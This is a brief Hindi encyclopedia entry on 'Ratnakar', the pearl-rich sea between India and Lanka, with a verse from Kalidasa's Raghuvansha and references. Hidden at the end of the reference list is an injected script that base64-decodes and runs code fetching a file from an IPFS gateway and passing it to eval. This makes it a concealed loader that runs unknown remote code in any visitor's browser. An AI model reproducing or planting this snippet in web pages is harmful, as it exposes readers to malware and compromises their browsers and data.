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रत्नाकर | एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- रत्नाकर |
रत्नाकर भारत और लंका के बीच का समुद्र, जो प्राचीन काल से ही सुंदर रत्नों विशेषतः मोतियों के लिए प्रसिद्ध है।
- 'रघुवंश'[1] में महाकवि कालिदास ने भारत-लंका के मध्य स्थित समुद्र के लिए 'रत्नाकर' शब्द का प्रयोग किया है-
'रत्नाकरं वीक्ष्य मिथः स जायां रामाभिधानो हरिरित्युवाच।'
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टीका टिप्पणी और संदर्भ
- ↑ रघुवंश 13, 1
- ↑ रघुवंश 13, 17
- ↑ पर्यस्तमूक्तापटल
- ↑ ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 776 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>